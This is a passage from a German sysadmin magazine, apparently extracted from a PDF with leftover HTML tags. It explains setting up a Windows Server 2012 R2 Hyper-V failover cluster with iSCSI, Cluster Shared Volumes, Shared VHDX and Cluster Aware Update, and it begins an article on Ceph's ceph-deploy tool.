verwaltet.<br />

iSCSI-Ziele verbinden<br />

Um auf Cluster-Knoten die virtuellen<br />

iSCSI-Laufwerke zu verbinden, verwenden<br />

Sie den iSCSI-Initiator, der zu den<br />

Bord<strong>mit</strong>teln von Windows Server 2012<br />

R2 gehört. Suchen Sie nach »iscsi« im<br />

Startbildschirm und starten Sie das<br />

Tool. Beim ersten Aufruf müssen Sie<br />

den Start des entsprechenden System-<br />

Dienstes bestätigen und die Blockierung<br />

durch die Windows-Firewall<br />

aufheben.<br />

Um den iSCSI-Storage einzubinden,<br />

wechseln Sie zuerst zur Registerkarte<br />

»Suche«. Klicken Sie auf »Portal er<strong>mit</strong>-<br />

teln« und geben Sie die<br />

IP-Adresse oder den<br />

Namen des Servers<br />

ein, der die virtuellen<br />

Festplatten zur Verfügung<br />

stellt. Wechseln<br />

Sie zur Registerkarte<br />

»Ziele«, auf der Windows<br />

das iSCSI-Ziel auf<br />

dem Server anzeigt.<br />

Anschließend können<br />

Sie das Ziel <strong>mit</strong> den<br />

hinterlegten Laufwerken<br />

verbinden, die Sie<br />

auf dem Ziel-Server<br />

<strong>mit</strong> dem iSCSI-Ziel erstellt<br />

haben.<br />

Klicken Sie auf die<br />

Schaltfläche »Verbinden«, baut der<br />

Server eine Verbindung <strong>mit</strong> dem<br />

Server und den erstellten virtuellen<br />

Festplatten auf (Abbildung 2). Aktivieren<br />

Sie das Kontrollkästchen »Diese<br />

Verbindung der Liste der bevorzugten<br />

Ziele hinzufügen«. Diese Option muss<br />

für alle Laufwerke eingestellt werden.<br />

Bestätigen Sie alle Fenster <strong>mit</strong> »OK«.<br />

Wenn Sie einen Cluster <strong>mit</strong> iSCSI erstellen,<br />

verbinden Sie das Ziel auch <strong>mit</strong><br />

dem zweiten Server und allen weiteren<br />

Cluster-Knoten, die Sie in den Cluster<br />

einbinden wollen.<br />

Mit »Multipfad aktivieren« legen Sie<br />

fest, dass Windows Server 2012 R2<br />

auch alternative Netzwerkwege zwischen<br />

Server- und Ziel-System verwendet.<br />

Das ist ein wichtiger Beitrag zur<br />

Erhöhung der Ausfall<strong>sicher</strong>heit.<br />

iSCSI-Festplatten<br />

konfigurieren<br />

Nachdem Sie iSCSI-Ziele verbunden<br />

haben, stehen in der Datenträgerverwaltung<br />

die <strong>mit</strong> diesem iSCSI-Ziel<br />

verbundenen Laufwerke zur Verfügung.<br />

Die Datenträgerverwaltung starten Sie<br />

<strong>mit</strong> »diskmgmt.msc«.<br />

Nachdem die Laufwerke <strong>mit</strong> dem<br />

ersten Serverknoten verbunden sind,<br />

müssen diese über die Festplattenverwaltung<br />

online geschaltet, initialisiert,<br />

partitioniert und formatiert werden.<br />

Eine Umwandlung in dynamische<br />

Datenträger wird für den Einsatz im<br />

Cluster nicht empfohlen. Da die Datenträger<br />

aber bereits auf dem ersten<br />

Abbildung 1: Windows Server 2012 R2 kann virtuelle VHDX-Platten als<br />

iSCSI-Target bereitstellen.<br />

Knoten initialisiert und formatiert<br />

wurden, müssen Sie diesen Schritt<br />

auf dem zweiten nicht wiederholen.<br />

Auf dem zweiten Knoten reichen das<br />

Online-Schalten und das Ändern der<br />

Laufwerksbuchstaben, die <strong>mit</strong> dem ersten<br />

Knoten übereinstimmen müssen.<br />

Über das Kontextmenü setzen Sie die<br />

iSCSI-Targets online, dann initialisieren<br />

Sie die Targets, erstellen ein Volume<br />

und formatieren es <strong>mit</strong> NTFS.<br />

Cluster-Knoten vorbereiten<br />

Neben dem gemeinsamen Datenträger,<br />

auf den alle Cluster-Knoten zugreifen<br />

können, braucht ein Cluster auch ei-<br />

Abbildung 2: Auf den Cluster-Knoten binden Sie virtuelle<br />

iSCSI-Ziele über den iSCSI-Initiator an.<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 02-2014


54<br />

Know-how<br />

Windows-Cluster<br />

Abbildung 3: Den Cluster-Dienst installieren Sie in Windows Server<br />

2012 R2 wahlweise auch in der Powershell.<br />

nen Namen. Dieser Name erhält kein<br />

Computerkonto, wird aber für die Administration<br />

des Clusters verwendet.<br />

Jeder Knoten des Clusters erhält ein<br />

Computerkonto in derselben Domäne.<br />

Daher benötigt jeder physische Knoten<br />

einen entsprechenden Rechnernamen.<br />

Sie brauchen für den Cluster mehrere<br />

IP-Adressen: für jeden physische Knoten<br />

je eine IP-Adresse, eine IP-Adresse<br />

für den Cluster als Ganzes und je eine<br />

IP-Adresse in einem eigenen Subnetz<br />

für die private Kommunikation der<br />

Cluster-Knoten. Nur in Testumgebungen<br />

kann die Kommunikation <strong>mit</strong> dem<br />

Netzwerk und die interne Cluster-<br />

Kommunikation in einer einzigen<br />

Netzwerkumgebung stattfinden. In<br />

Abbildung 4: Das Testen der Server für die Cluster-Installation ist der<br />

erste Schritt zum Erstellen eines Clusters.<br />

diesem Fall müssen Sie<br />

nichts anpassen. Für<br />

Test zwecke kann ein<br />

Cluster auch nur aus<br />

einem einzelnen Knoten<br />

bestehen.<br />

Cluster <strong>mit</strong><br />

Windows Server<br />

2012 R2<br />

Um Hyper-V oder andere Dienste in<br />

einem Cluster zu betreiben, installieren<br />

Sie zunächst einen herkömmlichen<br />

Cluster <strong>mit</strong> Windows Server 2012 R2.<br />

Clustering installieren Sie in Windows<br />

Server 2012 R2 als Feature über den<br />

Server-Manager oder die Powershell.<br />

Während der Installation nehmen Sie<br />

keine Einstellungen vor. Achten Sie darauf,<br />

dass die gemeinsamen Datenträger<br />

auf allen Knoten verbunden und <strong>mit</strong><br />

dem gleichen Laufwerksbuchstaben<br />

versehen sind. Um die notwendigen<br />

Features für einen Hyper-V-Cluster<br />

zu installieren, können Sie auch die<br />

Powershell verwenden (Abbildung 3):<br />

Install‐WindowsFeature Hyper‐V<br />

Abbildung 5: Cluster erstellen Sie in der Cluster-Verwaltung oder über die Powershell.<br />

Install‐WindowsFeature U<br />

Failover‐U<br />

Clustering<br />

Install‐WindowsFeatureU<br />

Multipath‐IO<br />

Starten Sie nach der<br />

Installation der notwendigen<br />

Features auf<br />

dem ersten Knoten die<br />

Failover-Cluster-Verwaltung,<br />

indem Sie auf<br />

der Startseite »failover«<br />

eingeben. Klicken<br />

Sie auf den Link »Konfiguration<br />

überprüfen«.<br />

Im Fenster wählen Sie<br />

zunächst die potenziellen<br />

Cluster-Knoten<br />

aus und legen fest, welche Tests das<br />

Tool durchführen soll (Abbildung 4).<br />

Die Verwaltung der Cluster ist aber<br />

nur verfügbar, wenn Sie die Verwaltungswerkzeuge<br />

auf einem Server<br />

installieren. Das können Sie über den<br />

Server-Manager durchführen oder <strong>mit</strong><br />

der Powershell.<br />

Nachdem der Assistent alle wichtigen<br />

Punkte erfolgreich getestet hat, erstellen<br />

Sie den Cluster. Das ist wieder in<br />

der Powershell möglich (Abbildung 5):<br />

New‐Cluster ‐Name Cluster-NameU<br />

‐StaticAddress Cluster‐Adresse U<br />

‐Node Knoten 1, Knoten 2<br />

Cluster Shared Volumes<br />

aktivieren<br />

Wichtig für die Live-Migration von Hyper-V<br />

sind die Cluster Shared Volumes<br />

(CSV). Sie ermöglichen, dass mehrere<br />

Server in einem gemeinsamen Datenträger<br />

gleichzeitig auf einen gemeinsamen<br />

Datenträger zugreifen können. Um<br />

Hyper-V <strong>mit</strong> Live-Migration in einem<br />

Cluster zu betreiben, aktivieren Sie die<br />

Cluster Shared Volumes, nachdem Sie<br />

den Cluster erstellt haben. Windows<br />

legt dann auf der Betriebssystempartition<br />

im Ordner »ClusterStorage« Daten<br />

ab. Diese liegen aber nicht auf der<br />

Festplatte »C:« des Knotens, sondern<br />

auf dem gemeinsamen Datenträger,<br />

dessen Abruf auf den Ordner »C:\ClusterStorage«<br />

umgeleitet ist. Um CSV<br />

für einen Cluster zu aktivieren, starten<br />

Sie das Verwaltungsprogramm für den<br />

Failover-Cluster (Abbildung 6) und<br />

klicken <strong>mit</strong> der rechten Maustaste im<br />

Bereich »Speicher/Datenträger« auf den<br />

Datenträger, den Sie für Hyper-V <strong>nutzen</strong><br />

wollen. Dort wählen Sie »Zu freigegebenen<br />

Clustervolumes hinzufügen«.<br />

Dynamisches I/O<br />

Cluster in Windows Server 2012 R2 beherrschen<br />

Dynamic I/​O. Wenn die Datenverbindung<br />

eines Knotens ausfällt,<br />

kann der Cluster den Datenverkehr der<br />

für die Kommunikation zu den virtuellen<br />

Computern im SAN notwendig ist,<br />

automatisch über die Leitungen des<br />

zweiten Knotens routen, ohne dazu ein<br />

Failover durchführen zu müssen. Sie<br />

können einen Cluster so konfigurieren,<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Know-how<br />

Windows-Cluster<br />

55<br />

dass die Cluster-Knoten den Netzwerkverkehr<br />

zwischen den Knoten und zu<br />

den CSVs priorisiert.<br />

Virtuelle Server im Cluster<br />

verwalten<br />

Um einen virtuellen Server in einem<br />

Cluster zu erzeugen, verwenden Sie die<br />

Failover-Cluster-Manager (Abbildung 7).<br />

Klicken Sie <strong>mit</strong> der rechten Maustaste<br />

auf »Rollen/Virtueller Computer/Neuer<br />

virtueller Computer« und starten Sie<br />

den Assistenten. Wählen Sie den Cluster-Knoten,<br />

auf dem Sie diesen Server<br />

bereitstellen wollen. Der Rest des Assistenten<br />

entspricht der Konfiguration<br />

von virtuellen Servern. Die virtuellen<br />

Server erscheinen nach dem Erstellen<br />

im Bereich Rollen der Failover-Cluster-<br />

Verwaltung. Über das Kontextmenü<br />

verwalten Sie die virtuellen Server.<br />

Um eine Live-Migration zu starten,<br />

klicken Sie den virtuellen Computer<br />

<strong>mit</strong> der rechten Maustaste an, rufen<br />

Abbildung 6: Die Datenträger des Clusters verwalten Sie im grafischen<br />

Failover-Cluster-Manager.<br />

im Kontextmenü den<br />

Eintrag »Verschieben/<br />

Livemigration« auf und<br />

wählen den Knoten<br />

aus. Zuvor müssen Sie<br />

aber die Live-Migration<br />

auf den entsprechenden<br />

Hyper-V-Hosts in<br />

den Hyper-V-Einstellungen<br />

konfigurieren.<br />

Der Unterschied der<br />

Live-Migration zur<br />

Schnellmigration ist,<br />

dass die Maschinen<br />

während der Übertragung<br />

durch die<br />

Live-Migration aktiv bleiben und auch<br />

der Arbeitsspeicherinhalt zwischen<br />

den Servern übertragen wird. Bei der<br />

Schnellmigration deaktiviert Hyper-V<br />

die Maschinen vorher.<br />

Sie können einen Cluster <strong>mit</strong> Windows<br />

Server 2012 R2 so konfigurieren, dass<br />

die Cluster-Knoten den Netzwerkverkehr<br />

zwischen den Knoten und den gemeinsamen<br />

Datenträgern priorisieren.<br />

Um zu erfahren, welche Netzwerkeinstellungen<br />

der Cluster zur Kommunikation<br />

<strong>mit</strong> dem Cluster Shared Volume<br />

nutzt, starten Sie eine Powershell-<br />

Sitzung auf dem Server und rufen das<br />

Commandlet »Get‐ClusterNetwork« auf.


56<br />

Know-how<br />

Windows-Cluster<br />

Abbildung 7: Die Verwaltung der virtuellen Computer findet im Failover-Cluster-Manager<br />

statt.<br />

Neu seit Windows Server 2012 ist auch<br />

der Bereich »Startpriorität ändern« im<br />

Kontextmenü von virtuellen Servern.<br />

Dort können Sie festlegen, wann bestimmte<br />

virtuelle Server starten sollen.<br />

Ebenfalls neu ist die Möglichkeit, die<br />

Überwachung für virtuelle Server im<br />

Cluster festzulegen. Sie finden diese<br />

Einstellung über »Weitere Aktionen/<br />

Überwachung konfigurieren.« Anschließend<br />

wählen Sie die Dienste aus, die<br />

der Cluster überwachen soll. Fällt in<br />

der VM einer der ausgewählten Dienste<br />

aus, kann der Cluster die VM neu starten<br />

oder auf einen anderen Knoten<br />

verschieben.<br />

Shared-VHDX-Festplatten<br />

Neben der Möglichkeit physische Festplatten<br />

und iSCSI-Ziele für Cluster zu<br />

<strong>nutzen</strong>, können Sie in Windows Server<br />

2012 R2 auch die neue Shared-Funktion<br />

Abbildung 8: Virtuelle Festplatten können Sie in Windows Server 2012<br />

R2 freigeben und so im Cluster <strong>nutzen</strong>.<br />

von VHDX-Festplatten<br />

<strong>nutzen</strong>. Dabei erstellen<br />

Sie eine oder mehrere<br />

virtuelle Festplatten,<br />

die Sie über einen virtuellen<br />

SCSI-Controller<br />

einem der virtuellen<br />

Cluster-Knoten zuweisen.<br />

Rufen Sie die Einstellungen<br />

des virtuellen<br />

Servers auf und wählen<br />

Sie »SCSI‐Controller<br />

/ Festplatte /<br />

Erweiterte Features«.<br />

Aktivieren Sie die<br />

Option »Freigabe<br />

virtueller Festplatten<br />

aktivieren« (Abbildung<br />

8). Jetzt haben Sie<br />

die Möglichkeit, diese<br />

virtuelle Festplatte<br />

anderen virtuellen<br />

Servern zuzuordnen<br />

und auf diesem Weg als gemeinsamen<br />

Datenträger zu <strong>nutzen</strong>. Auf Basis dieses<br />

virtuellen Datenträgers bauen Sie dann<br />

einen Cluster <strong>mit</strong> virtuellen Servern<br />

in Hyper-V oder einer anderen Virtualisierungslösung<br />

auf. Auf diesem Weg<br />

lassen sich sehr leicht virtuelle Cluster<br />

aufbauen.<br />

Da<strong>mit</strong> die Shared-VHDX-Funktion genutzt<br />

werden kann, müssen sich die<br />

virtuellen Server in einem Cluster befinden.<br />

Außerdem müssen die virtuellen<br />

Festplatten, die Shared-VHDX bereitstellen,<br />

auf einem gemeinsamen Datenträger<br />

im Cluster gespeichert sein. Hier<br />

verwenden Sie am besten den konfigurierten<br />

CSV. Das heißt, in Windows 8.1<br />

können Sie keine Shared-VHDX-Platten<br />

<strong>nutzen</strong>, auch wenn diese Funktion prinzipiell<br />

zur Verfügung steht. Sie können<br />

aber zu Testzwecken problemlos einen<br />

Cluster <strong>mit</strong> nur einem Knoten erstellen.<br />

Das ist zwar kein<br />

offiziell unterstütztes<br />

Szenario, funktioniert<br />

aber.<br />

Gemeinsame Festplatten<br />

können Sie nicht<br />

im laufenden Betrieb<br />

anpassen, um etwa die<br />

Größe der Platten zu<br />

ändern. Das geht nur<br />

bei normalen virtuellen Festplatten, die<br />

virtuellen SCSI-Controllern zugeordnet<br />

sind. Diese Funktion ist neu in Windows<br />

Server 2012 R2. Außerdem können Sie<br />

keine Live-Migration des Speichers für<br />

virtuelle Festplatten durchführen, die<br />

Sie im Cluster als Shared-VHDX <strong>nutzen</strong>.<br />

Auch das geht nur <strong>mit</strong> normalen<br />

Festplatten, selbst schon in Windows<br />

Server 2012.<br />

Beispiel für eine<br />

Testumgebung<br />

Um zum Beispiel einen virtuellen Cluster<br />

als Dateiserver zu <strong>nutzen</strong> und die<br />

Daten des virtuellen Dateiserver-Clusters<br />

in Shared-VHDX-Dateien zu speichern,<br />

erstellen Sie wie beschrieben<br />

einen normalen Cluster. Für eine Testumgebung<br />

kann der Cluster auch nur<br />

aus einem einzelnen Server bestehen.<br />

Um die Shared-VHDX-Platten in einem<br />

bestimmten Laufwerk zu speichern,<br />

geben Sie in der Befehlszeile folgenden<br />

Befehl ein:<br />

FLTMC.EXE attach svhdxflt Laufwerk<br />

Danach können Sie den einzelnen<br />

virtuellen Servern im Cluster virtuelle<br />

Festplatten hinzufügen und diese als<br />

Shared-VHDX konfigurieren. Danach<br />

erstellen Sie den virtuellen Cluster genauso<br />

wie den physischen Cluster.<br />

Erstellen Sie mehrere gemeinsame<br />

Festplatten, können Sie diese auf diesem<br />

Weg auch zu einem Speicherpool<br />

zusammenfassen und ebenfalls im<br />

Cluster einsetzen. Den Pool erstellen<br />

Sie im Bereich »Speicher / Pools des<br />

Clusters«.<br />

Cluster Aware Update<br />

Mit Windows Server 2012 hat Microsoft<br />

die Funktion Cluster Aware Update<br />

(CAU) eingeführt. Sie erlaubt die Installation<br />

von Software-Updates über<br />

den Cluster-Dienst. Da<strong>mit</strong> lassen sich<br />

Betriebssystem und Serveranwendungen<br />

aktualisieren, ohne dass Cluster-<br />

Dienste ausfallen.<br />

Bei der Konfiguration von CAU erstellen<br />

Sie eine neue Rolle, die zukünftig Software-Aktualisierungen<br />

vollkommen<br />

selbstständig durchführen kann. Sie<br />

übernimmt auch die Konfiguration des<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Know-how<br />

Windows-Cluster<br />

57<br />

Wartungsmodus auf den Cluster-Knoten,<br />

kann Cluster-Knoten neu starten,<br />

Cluster-Rollen wieder auf die korrekten<br />

Cluster-Knoten verschieben und mehr.<br />

Sie können die Aktualisierung manuell<br />

starten und einen Zeitplan für die Aktualisierungen<br />

definieren.<br />

Um CAU für einen neuen Cluster zu<br />

erstellen, erstellen Sie zunächst im<br />

Snap-In »Active Directory‐Benutzer und<br />

‐Computer« ein neues Computerobjekt.<br />

Dieser Vorgang ist optional, denn das<br />

Computerobjekt kann der Assistent<br />

für CAU auch selbst erstellen. Dieses<br />

Computerobjekt stellt die Grundlage<br />

für die Cluster-Rolle zur Einrichtung<br />

der automatischen Aktualisierung dar.<br />

Sie müssen keine Einstellungen für das<br />

Objekt vornehmen, sondern es nur neu<br />

erzeugen. Verwenden Sie als Beispiel<br />

den Namen des Clusters <strong>mit</strong> der Erweiterung<br />

CAU, zum Beispiel »cluster‐cau«.<br />

Zusätzlich sollten Sie auf allen Cluster-<br />

Knoten, die an CAU teilnehmen, eine<br />

eingehende Firewall-Regel erstellen<br />

und als Regeltyp »Vordefiniert/Remote-<br />

Herunterfahren« auswählen. Das Verwaltungsprogramm<br />

starten Sie durch<br />

Eingabe von »wf.msc«. Ist die Regel<br />

schon vorhanden, aktivieren Sie sie<br />

über das Kontextmenü.<br />

Ist das erledigt, suchen Sie auf der<br />

Startseite nach dem Einrichtungsprogramm<br />

von »Clusterfähiges Aktualisieren«<br />

und starten das Tool. Im ersten<br />

Schritt lassen Sie sich <strong>mit</strong> dem Cluster<br />

verbinden, für den Sie CAU aktivieren<br />

wollen. Danach klicken Sie auf den Link<br />

»Vorbereitung auf das Clusterupdate<br />

analysieren«. Der Assistent überprüft,<br />

ob Sie CAU im Cluster aktivieren können<br />

(Abbildung 9).<br />

Haben Sie sich <strong>mit</strong> dem gewünschten<br />

Cluster verbunden und die Analyse<br />

durchgeführt, starten Sie die Einrichtung<br />

über einen Assistenten. Ihn rufen<br />

Sie <strong>mit</strong> »Selbstaktualisierungsoptionen<br />

des Clusters konfigurieren« auf. Auf der<br />

ersten Seite erhalten Sie eine Information<br />

darüber, was der Assistent alles<br />

konfiguriert. Auf der nächsten Seite<br />

aktivieren Sie die Option »CAU‐Clusterrolle<br />

<strong>mit</strong> aktiviertem Selbstaktualisierungsmodus<br />

zum Cluster hinzufügen«.<br />

Danach aktivieren Sie die Option »Ich<br />

habe das Computerobjekt für die<br />

CAU‐Clusterrolle vorab<br />

bereitgestellt«. Geben<br />

Sie im Feld den Namen<br />

des Computerobjekts<br />

ein. Der Assistent kann<br />

das Objekt aber auch<br />

automatisch erstellen,<br />

was die Konfiguration<br />

in Testumgebungen<br />

vereinfacht.<br />

Auf der nächsten Seite<br />

legen Sie den Zeitplan<br />

fest, nach dem<br />

sich der Cluster und<br />

die einzelnen Knoten<br />

automatisiert aktualisieren<br />

sollen. Auf<br />

der Seite »Erweiterte<br />

Optionen« können Sie<br />

weitere Einstellungen<br />

vornehmen, die aber<br />

optional sind. Sinnvoll ist zum Beispiel<br />

die Option, die bestimmt, dass die Aktualisierung<br />

nur dann gestartet wird,<br />

wenn alle Cluster-Knoten erreichbar<br />

sind. Dazu aktivieren Sie die Option<br />

»True« bei »RequireAllNodesOnline«.<br />

Weitere Möglichkeiten sind das Hinterlegen<br />

von Skripten, die vor oder nach<br />

der Aktualisierung vom Cluster-Dienst<br />

gestartet werden sollen.<br />

Auf der nächsten Seite legen Sie fest,<br />

wie sich der Cluster-Dienst <strong>mit</strong> empfohlenen<br />

Updates befassen soll und<br />

ob diese die gleiche Rolle spielen wie<br />

wichtige Updates. Danach erhalten<br />

Sie eine Zusammenfassung, und der<br />

Dienst wird erstellt. Tritt ein Fehler auf,<br />

überprüfen Sie die Rechte für das Computerobjekt<br />

zur Cluster-Aktualisierung.<br />

Geben Sie in den Eigenschaften des Objekts<br />

dem Cluster-Konto volle Zugriffsrechte<br />

auf das neue Konto. Alternativ<br />

lassen Sie den Assistenten selbst das<br />

Computerobjekt erstellen. Lassen Sie<br />

nach der Einrichtung von CAU die Analyse<br />

noch einmal durchführen.<br />

Patch-Management<br />

Welche Patches der Dienst installiert,<br />

steuern Sie durch Freigabe der Patches<br />

auf einem WSUS-Server, oder Sie aktivieren<br />

die lokale Update-Verwaltung<br />

auf dem Server. Die Liste der Patches,<br />

die der Dienst installiert, erhalten Sie<br />

im Verwaltungsprogramm für CAU,<br />

Abbildung 9: Vor der Aktivierung von Cluster Aware Update analysieren<br />

Sie den Cluster. Hier sieht alles gut aus.<br />

wenn Sie auf »<strong>Vorschau</strong> der Updates für<br />

diesen Cluster anzeigen« klicken.<br />

Um die Aktualisierung sofort zu starten,<br />

klicken Sie auf »Updates auf diesen<br />

Cluster anwenden«. Den Status der<br />

aktuellen Installationen sehen Sie im<br />

Verwaltungstool von CAU, <strong>mit</strong> dem<br />

Sie den Dienst bereits eingerichtet<br />

haben. Bei der Aktualisierung wird<br />

der entsprechende Knoten in den<br />

Wartungszustand versetzt, die Clusterressourcen,<br />

wie zum Beispiel die VMs,<br />

auf andere Knoten verschoben, danach<br />

die Aktualisierung gestartet und dann<br />

die Ressourcen wieder zurückübertragen.<br />

Danach wird der nächste Knoten<br />

aktualisiert. Weitere Informationen zu<br />

diesem Dienst sind auf der Seite [1] zu<br />

finden. (ofr) n<br />

n Info<br />

Weiterführende Links und<br />

Informationen zu diesem<br />

Artikel finden Sie unter:<br />

www.admin-magazin.de/qr/31645<br />

[1] Thomas Joos, Umgang <strong>mit</strong> VHDX-Dateien,<br />

<strong>ADMIN</strong> 05/​2013: [http:// www.​<br />

admin‐magazin. de/ Das‐Heft/ 2013/ 05/​<br />

Umgang‐<strong>mit</strong>‐VHDX‐Dateien]<br />

[2] Cluster-fähiges Aktualisieren: Häufig gestellte<br />

Fragen: [http:// technet. microsoft. com/ de‐de/​<br />

library/ hh831367. aspx]<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 02-2014


Heiko Küverling, 12RF<br />

Wohin geht die Reise bei Ceph-Objectstore?<br />

Ablagesystem<br />

Red Hat veröffentlichte kürzlich ein flammendes Manifest für GlusterFS und gegen Ceph. Man nimmt den<br />

Konkurrenten also durchaus ernst. Grund genug, die neuesten Entwicklungen bei Ceph genauer zu betrachten.<br />

Martin Loschwitz<br />

Der Objektspeicher Ceph war im<br />

<strong>ADMIN</strong>-<strong>Magazin</strong> bereits einige Male<br />

Thema, und bis jetzt hatte Ceph dabei<br />

stets die Rolle des Underdogs – hatte<br />

es doch bis dato Insider-Charakter: Nur,<br />

wer sich bereits eingehend <strong>mit</strong> den<br />

neuen Storage-Technologien beschäftigt<br />

hat, dürfte Ceph schon bemerkt<br />

und womöglich sogar ausprobiert<br />

haben. Inktank, die Firma hinter Ceph,<br />

hat in den letzten Wochen und Monaten<br />

nichts unversucht gelassen, um das<br />

zu ändern: Neben medial groß angekündigten<br />

Ceph Developer Sum<strong>mit</strong>s<br />

(dazu später mehr) tourte ein Team<br />

von Inktank-Angestellten inklusive des<br />

Ceph-Erfinders Sage Weil auch rund um<br />

die Welt, um Ceph-Days in verschiedenen<br />

Städten abzuhalten. Im Oktober<br />

war ein solcher Ceph-Day in London,<br />

der sich großer Beliebtheit erfreute:<br />

Dutzende Interessierte nutzten die<br />

Gelegenheit, um Sage Weil direkt Fragen<br />

zu stellen, die Ceph betreffen, und<br />

mehr über die Lösung zu erfahren.<br />

Im November erhielt Ceph dann quasi<br />

obendrein so etwas wie einen kleinen<br />

Ritterschlag: Red Hat veröffentlichte<br />

im Gluster-Blog einen Artikel, in dem<br />

es sich ausführlich über vermeintliche<br />

Benchmark-Vergleiche zwischen Ceph<br />

und GlusterFS ausließ [1]. Die Nervosität<br />

bei den roten Hüten macht deutlich,<br />

dass man Ceph dort <strong>mit</strong>tlerweile<br />

ernst nimmt und bereit ist, Geld für<br />

Marketing in die Hand zu nehmen, um<br />

die Vorzüge von GlusterFS gegenüber<br />

Ceph deutlich zu machen. Frei nach<br />

Mahatma Gandhi hat Red Hat Ceph erst<br />

ignoriert, danach eine ganze Weile belächelt<br />

und nun schließlich begonnen,<br />

die Software zu bekämpfen.<br />

Was tut sich?<br />

Es stellt sich freilich die Frage, ob<br />

Sage Weil und sein Team eingedenk<br />

der ganzen Reisen derzeit überhaupt<br />

entwickeln können? Sie können – und<br />

wie! Denn während die PR-Kampagnen<br />

für Ceph langsam fruchten, tut sich<br />

bei der Speicherlösung auch inhaltlich<br />

einiges. Zwei Releases haben in den<br />

letzten sechs Monaten das Licht der<br />

Welt erblickt: Dumpling erschien im<br />

August, Emperor im November. Die beiden<br />

Releases allein bergen interessante<br />

Features, über die sich seitenweise berichten<br />

ließe; dann blieben allerdings<br />

die Leckerbissen, die Firefly enthalten<br />

soll, unerwähnt. Die folgenden Zeilen<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Know-how<br />

Ceph<br />

59<br />

geben einen Überblick über das Neue,<br />

das schon da ist, und das Neue, das<br />

noch kommt.<br />

Einfacheres Deployment<br />

Für Anwender dürfte die offensichtlichste<br />

und da<strong>mit</strong> am ehesten bemerkbare<br />

Veränderung wohl die Tatsache<br />

sein, dass das Werkzeug »ceph‐deploy«<br />

nun tatsächlich reif für den produktiven<br />

Einsatz ist. Wer Ceph zuvor installieren<br />

wollte, musste einen eher steinigen<br />

Weg auf sich nehmen und dabei auch<br />

das in Entwicklerkreisen fasst schon<br />

verhasste »mkcephfs« verwenden (Abbildung<br />

1). Jenes war ein riesiges Shell-<br />

Skript, das noch aus den Cephschen<br />

Anfangszeiten erhalten geblieben war<br />

und in loser Aneinanderreihung Befehle<br />

ausführte, die letztlich zu einem<br />

funktionierenden Ceph-Cluster führten.<br />

»mkcephfs« war dabei aber nicht sehr<br />

flexibel, abgesehen davon, dass sein<br />

Name grob irreführend war: Das Tool<br />

erstellte nämlich kein Dateisystem,<br />

sondern baute anhand einer vom Admin<br />

beigesteuerten »ceph.conf«-Datei<br />

einen kompletten Ceph-Cluster aus Monitoring-Servern,<br />

OSDs und Metadaten-<br />

Servern zusammen, indem es sich per<br />

SSH <strong>mit</strong> den einzelnen Servern verband<br />

und dort Befehle ausführte.<br />

Da<strong>mit</strong> ist nun Schluss: »ceph‐deploy«<br />

(Abbildung 2) ist jetzt ein eigens geschriebenes<br />

Python-Werkzeug, an dem<br />

seit Monaten entwicklet wird. Es übernimmt<br />

die Aufgaben seines Vorgängers,<br />

funktioniert dabei aber nachvollziehbar<br />

und ist viel besser zu warten. Obendrein<br />

kommt es <strong>mit</strong> einem echten<br />

Mehrwert: Viele Schritte, die der Admin<br />

vorher manuell erledigen musste,<br />

übernimmt »ceph‐deploy« nun automatisch.<br />

So war es bei »mkcephfs« beispielsweise<br />

normal, dass sich ein Admin<br />

selbst darum kümmern musste, die<br />

Dateisysteme auf den zukünftigen<br />

OSDs selbst anzulegen. Auch das Mounten<br />

der Platten per »/etc/fstab« war in<br />

früheren Ceph-Versionen dem Admin<br />

überlassen. Mittels »ceph‐deploy«<br />

reicht der Befehl »ceph‐deploy osd prepare<br />

host:sdc1:/dev/sdq1« gefolgt von<br />

»ceph osd activate host:/​dev/​sdc1«, da<strong>mit</strong><br />

das neue OSD aktiv wird und in den<br />

Cluster integriert wird. Das Beispielkommando<br />

würde dafür sorgen, dass<br />

die Platte »/dev/​sdc1« auf Host host <strong>mit</strong><br />

dem Journal‐Device »/dev/​sdq1« zur<br />

OSD wird.<br />

Admins sind angehalten, fortan ausschließlich<br />

»ceph‐deploy« zu <strong>nutzen</strong>,<br />

»mkcephfs« ist bereits deprecated<br />

und wird in absehbarer Zeit auch aus<br />

dem Ceph-Quelltext fliegen. Die Chef-<br />

Recipes sind bereits auf »ceph‐deploy«<br />

umgestellt, sodass auch hier keine<br />

Schwierigkeiten zu erwarten sind. Nutzen<br />

Admins »ceph‐deploy«, so ist es für<br />

sie deutlich einfacher, einen Cluster in<br />

Ceph auf Basis von Standardpfaden anzulegen,<br />

was im Fehlerfalle das Suchen<br />

nach der Ursache sehr viel leichter<br />

macht.<br />

»ceph‐deploy« ist <strong>mit</strong>tlerweile übrigens<br />

in Paketform für verschiedene Distributionen<br />

verfügbar. Anders als sein<br />

Vorgänger gehört es nicht direkt zum<br />

»ceph«-Quelltext, sondern hat seinen<br />

eigenen Sourcetree unter [2], sodass in<br />

der Regel die Installation des Zusatzpaketes<br />

»ceph‐deploy« nötig ist.<br />

Der Name Ceph<br />

Wer die Release-Notes der letzten<br />

Ceph-Versionen liest, stolpert über<br />

viele vermeintlich neue Begriffe: »Ceph<br />

Block Device«, »Ceph Gateway« sowie<br />

»Ceph Storage Cluster«. Vermeintlich<br />

Abbildung 1: Die von »ceph‐deploy« generierte<br />

»ceph.conf« unterscheidet sich von der alten Syntax<br />

deutlich und hat ordentlich abgespeckt.<br />

neu sind die Begriffe, weil die sich hinter<br />

ihnen verbergenden Komponenten<br />

eigentlich alte Bekannte sind: Was<br />

nun als »Ceph Gateway« firmiert, war<br />

vorher das »RADOS Gateway« und das<br />

»Ceph Block Device« war einmal das<br />

»RADOS Block Device«.<br />

Das Umtaufen hat offensichtlich System,<br />

und Inktank verfolgt auf diese<br />

Weise das Ziel, Ceph als Eigennamen zu<br />

etablieren. Ursprünglich war »Ceph« ja<br />

lediglich der Name für das Dateisystem,<br />

das im Hintergrund auf den eigentlichen<br />

Objectstore zugreift. Als Sage Weil & Co.<br />

aufging, dass sich der Objectstore selbst<br />

auch für andere Funktionen als ein<br />

Dateisystem <strong>nutzen</strong> ließe, war das zumindest<br />

namenstechnisch ein Problem,<br />

denn der Name »Ceph« war eben für das<br />

Dateisystem vergeben und in Szenekreisen<br />

